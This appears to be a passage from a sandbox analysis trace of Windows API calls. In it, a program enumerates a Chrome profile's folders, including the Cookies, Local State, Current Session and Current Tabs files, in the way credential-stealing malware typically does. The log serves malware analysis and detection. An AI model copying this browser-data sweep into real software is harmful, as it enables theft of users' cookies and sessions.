	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1
	[0066.242] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241580c | out: lpFindFileData=0x1241580c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.242] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.243] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency"), fInfoLevelId=0x0, lpFileInformation=0x127db278 | out: lpFileInformation=0x127db278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.245] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.245] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.245] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.245] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.245] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad"), fInfoLevelId=0x0, lpFileInformation=0x127db2c8 | out: lpFileInformation=0x127db2c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.245] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.245] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.245] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.245] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f5beda0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata", cAlternateFileName="")) returned 1
	[0066.245] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="reports", cAlternateFileName="")) returned 1
	[0066.245] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a6374a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.dat", cAlternateFileName="")) returned 1
	[0066.246] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.246] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.246] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\metadata"), fInfoLevelId=0x0, lpFileInformation=0x127db408 | out: lpFileInformation=0x127db408*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f5beda0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.246] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\reports"), fInfoLevelId=0x0, lpFileInformation=0x127db458 | out: lpFileInformation=0x127db458*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.246] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\reports"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.246] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x12415724 | out: lpFindFileData=0x12415724*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.247] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.247] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.247] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.247] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\settings.dat"), fInfoLevelId=0x0, lpFileInformation=0x127db4a8 | out: lpFileInformation=0x127db4a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3a6374a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x28)) returned 1
	[0066.247] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default"), fInfoLevelId=0x0, lpFileInformation=0x127db4f8 | out: lpFileInformation=0x127db4f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.247] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.249] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d406e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d406e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x98d1e730, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d66840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d66840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x98d44890, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83b08a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83b08a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0b57b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Session", cAlternateFileName="CURREN~1")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c3b6860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c3b6860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c3b8f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Tabs", cAlternateFileName="CURREN~2")) returned 1
	[0066.250] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124157a8 | out: lpFindFileData=0x124157a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_reduction_proxy_leveldb", cAlternateFileName="DATA_R~1")) returned 1
